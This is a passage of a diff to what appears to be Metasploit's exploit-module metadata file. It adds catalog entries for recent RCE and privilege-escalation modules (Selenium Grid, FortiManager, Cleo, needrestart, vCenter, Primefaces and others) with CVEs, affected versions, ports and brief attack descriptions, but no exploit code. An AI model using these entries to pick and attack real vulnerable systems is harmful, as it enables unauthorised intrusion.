+ "URL-https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/"
+ ],
+ "platform": "Linux",
+ "arch": "",
+ "rport": 4444,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Linux Command"
+ ],
+ "mod_time": "2025-01-07 10:47:04 +0000",
+ "path": "/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/selenium_greed_chrome_rce_cve_2022_28108",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
+ "exploit_linux/http/selenium_greed_firefox_rce_cve_2022_28108": {
+ "name": "Selenium geckodriver RCE",
+ "fullname": "exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2022-04-18",
+ "type": "exploit",
+ "author": [
+ "Jon Stratton",
+ "Takahiro Yokoyama"
+ ],
+ "description": "Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)\n allows CSRF because it permits non-JSON content types\n such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.",
+ "references": [
+ "CVE-2022-28108",
+ "URL-https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/",
+ "URL-https://github.com/JonStratton/selenium-node-takeover-kit/tree/master",
+ "EDB-49915"
+ ],
+ "platform": "Linux",
+ "arch": "",
+ "rport": 4444,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Linux Command"
+ ],
+ "mod_time": "2025-01-08 13:04:08 +0000",
+ "path": "/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/selenium_greed_firefox_rce_cve_2022_28108",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/smt_ipmi_close_window_bof": {
"name": "Supermicro Onboard IPMI close_window.cgi Buffer Overflow",
"fullname": "exploit/linux/http/smt_ipmi_close_window_bof",
@@ -83753,7 +85529,7 @@
"targets": [
"Ubiquiti airOS < 5.6.2"
],
- "mod_time": "2022-04-14 17:25:48 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb",
"is_install_path": true,
"ref_name": "linux/http/ubiquiti_airos_file_upload",
@@ -87658,7 +89434,7 @@
"BINARY",
"CMD"
],
- "mod_time": "2023-12-01 16:06:48 +0000",
+ "mod_time": "2025-01-17 16:10:23 +0000",
"path": "/modules/exploits/linux/local/docker_cgroup_escape.rb",
"is_install_path": true,
"ref_name": "linux/local/docker_cgroup_escape",
@@ -88020,6 +89796,71 @@
]
},
+ "exploit_linux/local/gameoverlay_privesc": {
+ "name": "GameOver(lay) Privilege Escalation and Container Escape",
+ "fullname": "exploit/linux/local/gameoverlay_privesc",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2023-07-26",
+ "type": "exploit",
+ "author": [
+ "g1vi",
+ "h00die",
+ "bwatters-r7",
+ "gardnerapp"
+ ],
+ "description": "This module exploits the use of unsafe functions in a number of Ubuntu kernels\n utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux\n kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent\n changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is\n called during ovl_do_setxattr without calling the intermediate safety function\n vfs_setxattr. Ultimatly this module allows for root access to be achieved by\n writing setuid capabilities to a file which are not sanitized after being unioned\n with the upper mounted directory.",
+ "references": [
+ "URL-https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/",
+ "URL-https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629",
+ "URL-https://www.cvedetails.com/cve/CVE-2023-2640/",
+ "URL-https://www.cvedetails.com/cve/CVE-2023-32629/",
+ "URL-https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability",
+ "CVE-2023-32629",
+ "CVE-2023-2640"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Linux_Binary",
+ "Linux_Command"
+ ],
+ "mod_time": "2024-12-17 16:52:24 +0000",
+ "path": "/modules/exploits/linux/local/gameoverlay_privesc.rb",
+ "is_install_path": true,
+ "ref_name": "linux/local/gameoverlay_privesc",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": [
+ "shell",
+ "meterpreter"
+ ],
+ "needs_cleanup": true,
+ "actions": [
+
+ ]
+ },
"exploit_linux/local/glibc_ld_audit_dso_load_priv_esc": {
"name": "glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation",
"fullname": "exploit/linux/local/glibc_ld_audit_dso_load_priv_esc",
@@ -89871,7 +91712,7 @@
"jheysel-r7",
"Rory McNamara"
],
- "description": "All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,\n and Kubernetes are vulnerable to an arbitrary file write.\n Due to a file descriptor leak it is possible to mount the host file system\n with the permissions of runc (typically root).\n\n Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.\n Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build.",
+ "description": "All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,\n and Kubernetes are vulnerable to an arbitrary file write.\n Due to a file descriptor leak it is possible to mount the host file system\n with the permissions of runc (typically root).\n\n Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.\n Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.\n Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.",
"references": [
"URL-https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/",
"URL-https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv",
@@ -89891,7 +91732,7 @@
"targets": [
"Auto"
],
- "mod_time": "2024-03-11 22:23:55 +0000",
+ "mod_time": "2025-01-09 09:59:09 +0000",
"path": "/modules/exploits/linux/local/runc_cwd_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/runc_cwd_priv_esc",
@@ -90568,7 +92409,7 @@
"targets": [
"Auto"
],
- "mod_time": "2023-02-05 08:15:38 +0000",
+ "mod_time": "2025-01-22 17:06:48 +0000",
"path": "/modules/exploits/linux/local/tomcat_ubuntu_log_init_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/tomcat_ubuntu_log_init_priv_esc",
@@ -90655,6 +92496,65 @@
]
},
+ "exploit_linux/local/ubuntu_needrestart_lpe": {
+ "name": "Ubuntu needrestart Privilege Escalation",
+ "fullname": "exploit/linux/local/ubuntu_needrestart_lpe",
+ "aliases": [
+
+ ],
+ "rank": 500,
+ "disclosure_date": "2024-11-19",
+ "type": "exploit",
+ "author": [
+ "h00die",
+ "makuga01",
+ "qualys"
+ ],
+ "description": "Local attackers can execute arbitrary code as root by\n tricking needrestart into running the Python interpreter with an\n attacker-controlled PYTHONPATH environment variable.\n\n Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1\n Attempted exploitation against Debian 12, expliotation failed",
+ "references": [
+ "URL-https://github.com/makuga01/CVE-2024-48990-PoC",
+ "URL-https://www.qualys.com/2024/11/19/needrestart/needrestart.txt",
+ "CVE-2024-48990"
+ ],
+ "platform": "Linux",
+ "arch": "x86, x64",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Auto"
+ ],
+ "mod_time": "2025-01-09 16:23:09 +0000",
+ "path": "/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb",
+ "is_install_path": true,
+ "ref_name": "linux/local/ubuntu_needrestart_lpe",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": [
+ "shell",
+ "meterpreter"
+ ],
+ "needs_cleanup": true,
+ "actions": [
+
+ ]
+ },
"exploit_linux/local/udev_netlink": {
"name": "Linux udev Netlink Local Privilege Escalation",
"fullname": "exploit/linux/local/udev_netlink",
@@ -90885,6 +92785,64 @@
]
},
+ "exploit_linux/local/vcenter_sudo_lpe": {
+ "name": "vCenter Sudo Privilege Escalation",
+ "fullname": "exploit/linux/local/vcenter_sudo_lpe",
+ "aliases": [
+
+ ],
+ "rank": 500,
+ "disclosure_date": "2024-06-18",
+ "type": "exploit",
+ "author": [
+ "h00die",
+ "Matei \"Mal\" Badanoiu"
+ ],
+ "description": "VMware vCenter Server < 7.0.3 update R and < 8.0.2 update D\n contains multiple local privilege escalation vulnerabilities\n due to misconfiguration of sudo. An authenticated local user\n with non-administrative privileges may exploit these issues\n to elevate privileges to root on vCenter Server Appliance.\n\n Tested against VMware vCenter Server Appliance 8.0.0.10000 20519528",
+ "references": [
+ "URL-https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24453",
+ "URL-https://github.com/mbadanoiu/CVE-2024-37081/blob/main/VMware%20vCenter%20-%20CVE-2024-37081.pdf",
+ "CVE-2024-37081"
+ ],
+ "platform": "Linux",
+ "arch": "x86, x64",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Auto"
+ ],
+ "mod_time": "2024-12-04 18:39:43 +0000",
+ "path": "/modules/exploits/linux/local/vcenter_sudo_lpe.rb",
+ "is_install_path": true,
+ "ref_name": "linux/local/vcenter_sudo_lpe",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": [
+ "shell",
+ "meterpreter"
+ ],
+ "needs_cleanup": true,
+ "actions": [
+
+ ]
+ },
"exploit_linux/local/vmware_alsa_config": {
"name": "VMware Workstation ALSA Config File Local Privilege Escalation",
"fullname": "exploit/linux/local/vmware_alsa_config",
@@ -91152,7 +93110,7 @@
"targets": [
"Auto"
],
- "mod_time": "2023-02-02 18:17:02 +0000",
+ "mod_time": "2025-01-17 16:10:23 +0000",
"path": "/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/vmwgfx_fd_priv_esc",
@@ -91545,6 +93503,59 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/misc/asterisk_ami_originate_auth_rce": {
+ "name": "Asterisk AMI Originate Authenticated RCE",
+ "fullname": "exploit/linux/misc/asterisk_ami_originate_auth_rce",
+ "aliases": [
+
+ ],
+ "rank": 500,
+ "disclosure_date": "2024-08-08",
+ "type": "exploit",
+ "author": [
+ "Brendan Coles ",
+ "h00die",
+ "NielsGaljaard"
+ ],
+ "description": "On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk\n versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change\n all configuration files in the '/etc/asterisk/' directory. Writing a new extension\n can be created which performs a system command to achieve RCE as the asterisk service\n user (typically asterisk).\n Default parking lot in FreePBX is called \"Default lot\" on the website interface,\n however its actually 'parkedcalls'.\n Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.",
+ "references": [
+ "URL-https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44",
+ "CVE-2024-42365"
+ ],
+ "platform": "Unix",
+ "arch": "",
+ "rport": 5038,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Unix Command"
+ ],
+ "mod_time": "2024-11-28 20:24:25 +0000",
+ "path": "/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb",
+ "is_install_path": true,
+ "ref_name": "linux/misc/asterisk_ami_originate_auth_rce",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "config-changes"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/misc/asus_infosvr_auth_bypass_exec": {
"name": "ASUS infosvr Auth Bypass Command Execution",
"fullname": "exploit/linux/misc/asus_infosvr_auth_bypass_exec",
@@ -91841,6 +93852,58 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/misc/fortimanager_rce_cve_2024_47575": {
+ "name": "Fortinet FortiManager Unauthenticated RCE",
+ "fullname": "exploit/linux/misc/fortimanager_rce_cve_2024_47575",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-10-23",
+ "type": "exploit",
+ "author": [
+ "sfewer-r7"
+ ],
+ "description": "This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager\n Cloud devices to achieve unauthenticated RCE with root privileges.\n\n The vulnerable FortiManager versions are:\n * 7.6.0\n * 7.4.0 through 7.4.4\n * 7.2.0 through 7.2.7\n * 7.0.0 through 7.0.12\n * 6.4.0 through 6.4.14\n * 6.2.0 through 6.2.12\n\n The vulnerable FortiManager Cloud versions are:\n * 7.4.1 through 7.4.4\n * 7.2.1 through 7.2.7\n * 7.0.1 through 7.0.12\n * 6.4 (all versions).",
+ "references": [
+ "CVE-2024-47575",
+ "URL-https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis",
+ "URL-https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575",
+ "URL-https://fortiguard.fortinet.com/psirt/FG-IR-24-423"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd",
+ "rport": 541,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Default"
+ ],
+ "mod_time": "2024-12-02 18:16:43 +0000",
+ "path": "/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb",
+ "is_install_path": true,
+ "ref_name": "linux/misc/fortimanager_rce_cve_2024_47575",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/misc/gld_postfix": {
"name": "GLD (Greylisting Daemon) Postfix Buffer Overflow",
"fullname": "exploit/linux/misc/gld_postfix",
@@ -94412,7 +96475,7 @@
"targets": [
"Universal"
],
- "mod_time": "2022-04-18 17:49:04 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb",
"is_install_path": true,
"ref_name": "linux/ssh/ceragon_fibeair_known_privkey",
@@ -94464,7 +96527,7 @@
"targets": [
"Cisco UCS Director < 6.7.2.0"
],
- "mod_time": "2022-04-18 17:57:01 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb",
"is_install_path": true,
"ref_name": "linux/ssh/cisco_ucs_scpuser",
@@ -94515,7 +96578,7 @@
"targets": [
"Universal"
],
- "mod_time": "2022-04-18 19:12:50 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/exagrid_known_privkey.rb",
"is_install_path": true,
"ref_name": "linux/ssh/exagrid_known_privkey",
@@ -94567,7 +96630,7 @@
"targets": [
"Universal"
],
- "mod_time": "2022-04-18 19:25:38 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb",
"is_install_path": true,
"ref_name": "linux/ssh/f5_bigip_known_privkey",
@@ -94619,7 +96682,7 @@
"targets": [
"IBM Data Risk Manager <= 2.0.6.1"
],
- "mod_time": "2022-04-18 19:34:49 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/ibm_drm_a3user.rb",
"is_install_path": true,
"ref_name": "linux/ssh/ibm_drm_a3user",
@@ -94668,7 +96731,7 @@
"targets": [
"Universal"
],
- "mod_time": "2022-04-18 19:43:16 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb",
"is_install_path": true,
"ref_name": "linux/ssh/loadbalancerorg_enterprise_known_privkey",
@@ -94770,7 +96833,7 @@
"targets": [
"Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40"
],
- "mod_time": "2024-07-24 16:42:43 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb",
"is_install_path": true,
"ref_name": "linux/ssh/microfocus_obr_shrboadmin",
@@ -94819,7 +96882,7 @@
"targets": [
"Universal"
],
- "mod_time": "2022-04-18 20:14:57 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb",
"is_install_path": true,
"ref_name": "linux/ssh/quantum_dxi_known_privkey",
@@ -94868,7 +96931,7 @@
"targets": [
"Quantum vmPRO 3.1.2"
],
- "mod_time": "2022-04-18 20:17:44 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb",
"is_install_path": true,
"ref_name": "linux/ssh/quantum_vmpro_backdoor",
@@ -94972,7 +97035,7 @@
"targets": [
"Symantec Messaging Gateway 9.5"
],
- "mod_time": "2023-01-31 23:59:22 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/symantec_smg_ssh.rb",
"is_install_path": true,
"ref_name": "linux/ssh/symantec_smg_ssh",
@@ -95022,7 +97085,7 @@
"targets": [
"Universal"
],
- "mod_time": "2023-01-31 23:59:22 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb",
"is_install_path": true,
"ref_name": "linux/ssh/vmware_vdp_known_privkey",
@@ -95099,7 +97162,7 @@
"6.10_platform",
"All"
],
- "mod_time": "2023-10-23 06:54:38 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/linux/ssh/vmware_vrni_known_privkey.rb",
"is_install_path": true,
"ref_name": "linux/ssh/vmware_vrni_known_privkey",
@@ -99069,6 +101132,69 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405": {
+ "name": "Acronis Cyber Protect/Backup remote code execution",
+ "fullname": "exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405",
+ "aliases": [
+ "exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405"
+ ],
+ "rank": 600,
+ "disclosure_date": "2022-11-08",
+ "type": "exploit",
+ "author": [
+ "h00die-gr3y ",
+ "Sandro Tolksdorf of usd AG."
+ ],
+ "description": "Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,\n compute, storage and application resources. Businesses and Service Providers are using it\n to protect and backup all IT assets in their IT environment.\n The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous\n registration of new protect/backup agents on new endpoints. This API endpoint also\n generates bearer tokens which the agent then uses to authenticate to the appliance.\n As the management web console is running on the same port as the API for the agents, this\n bearer token is also valid for any actions on the web console. This allows an attacker\n with network access to the appliance to start the registration of a new agent, retrieve a\n bearer token that provides admin access to the available functions in the web console.\n\n The web console contains multiple possibilities to execute arbitrary commands on both the\n agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation\n job on the agent of the appliance). These options can easily be set with the provided bearer\n token, which leads to a complete compromise of all agents and the appliance itself.\n\n You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`\n to collect target info for exploitation in this module. Or just run this module standalone and\n it will try to exploit the first online endpoint matching your target and payload settings\n configured at the module.\n\n Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and\n Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.",
+ "references": [
+ "CVE-2022-3405",
+ "URL-https://herolab.usd.de/security-advisories/usd-2022-0008/",
+ "URL-https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405"
+ ],
+ "platform": "Linux,Unix,Windows",
+ "arch": "cmd",
+ "rport": 9877,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Unix/Linux Command",
+ "Windows Command"
+ ],
+ "mod_time": "2025-01-09 16:32:42 +0000",
+ "path": "/modules/exploits/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb",
+ "is_install_path": true,
+ "ref_name": "multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_multi/http/activecollab_chat": {
"name": "Active Collab \"chat module\" Remote PHP Code Injection Exploit",
"fullname": "exploit/multi/http/activecollab_chat",
@@ -101524,6 +103650,133 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_multi/http/cleo_rce_cve_2024_55956": {
+ "name": "Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution",
+ "fullname": "exploit/multi/http/cleo_rce_cve_2024_55956",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-12-09",
+ "type": "exploit",
+ "author": [
+ "sfewer-r7",
+ "remmons-r7"
+ ],
+ "description": "This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony\n versions 5.8.0.23 and below.",
+ "references": [
+ "CVE-2024-55956",
+ "URL-https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956",
+ "URL-https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis",
+ "URL-https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/",
+ "URL-https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
+ ],
+ "platform": "Java,Linux,Unix,Windows",
+ "arch": "java, cmd",
+ "rport": 5080,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Java",
+ "Windows Command",
+ "Linux Command"
+ ],
+ "mod_time": "2025-01-09 11:43:58 +0000",
+ "path": "/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb",
+ "is_install_path": true,
+ "ref_name": "multi/http/cleo_rce_cve_2024_55956",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
+ "exploit_multi/http/clinic_pms_fileupload_rce": {
+ "name": "Clinic's Patient Management System 1.0 - Unauthenticated RCE",
+ "fullname": "exploit/multi/http/clinic_pms_fileupload_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2022-10-31",
+ "type": "exploit",
+ "author": [
+ "Aaryan Golatkar",
+ "Oğulcan Hami Gül"
+ ],
+ "description": "This module exploits an unauthenticated file upload vulnerability in Clinic's\n Patient Management System 1.0. An attacker can upload a PHP web shell and execute\n it by leveraging directory listing enabled on the `/pms/user_images` directory.",
+ "references": [
+ "EDB-51779",
+ "CVE-2022-40471",
+ "URL-https://www.cve.org/CVERecord?id=CVE-2022-40471",
+ "URL-https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view"
+ ],
+ "platform": "PHP",
+ "arch": "php",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Clinic Patient Management System 1.0"
+ ],
+ "mod_time": "2024-12-17 21:39:30 +0000",
+ "path": "/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb",
+ "is_install_path": true,
+ "ref_name": "multi/http/clinic_pms_fileupload_rce",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_multi/http/clipbucket_fileupload_exec": {
"name": "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
"fullname": "exploit/multi/http/clipbucket_fileupload_exec",
@@ -107722,7 +109975,7 @@
"description": "Nibbleblog contains a flaw that allows an authenticated remote\n attacker to execute arbitrary PHP code. This module was\n tested on version 4.0.3.",
"references": [
"CVE-2015-6967",
- "URL-http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html"
+ "URL-https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html"
],
"platform": "PHP",
"arch": "php",
@@ -107745,7 +109998,7 @@
"targets": [
"Nibbleblog 4.0.3"
],
- "mod_time": "2020-10-02 17:38:06 +0000",
+ "mod_time": "2025-01-26 19:20:12 +0000",
"path": "/modules/exploits/multi/http/nibbleblog_file_upload.rb",
"is_install_path": true,
"ref_name": "multi/http/nibbleblog_file_upload",
@@ -110345,6 +112598,71 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_multi/http/primefaces_weak_encryption_rce": {
+ "name": "Primefaces Remote Code Execution Exploit",
+ "fullname": "exploit/multi/http/primefaces_weak_encryption_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2016-02-15",
+ "type": "exploit",
+ "author": [
+ "Bjoern Schuette",
+ "h00die"
+ ],
+ "description": "This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.\n Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,\n due to the use of weak crypto and default encryption password and salt.\n\n Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See\n documentation for working payloads.",
+ "references": [
+ "CVE-2017-1000486",
+ "URL-https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html",
+ "URL-https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces",
+ "URL-https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/",
+ "URL-https://github.com/primefaces/primefaces/issues/1152",
+ "URL-https://github.com/pimps/CVE-2017-1000486/tree/master",
+ "EDB-43733"
+ ],
+ "platform": "BSD,Linux,OSX,Unix,Windows",
+ "arch": "cmd",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Universal"
+ ],
+ "mod_time": "2024-12-06 16:00:58 +0000",
+ "path": "/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb",
+ "is_install_path": true,
+ "ref_name": "multi/http/primefaces_weak_encryption_rce",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_multi/http/processmaker_exec": {
"name": "ProcessMaker Open Source Authenticated PHP Code Execution",
"fullname": "exploit/multi/http/processmaker_exec",
@@ -115108,20 +117426,25 @@
"needs_cleanup": true
},
"exploit_multi/http/werkzeug_debug_rce": {
- "name": "Werkzeug Debug Shell Command Execution",
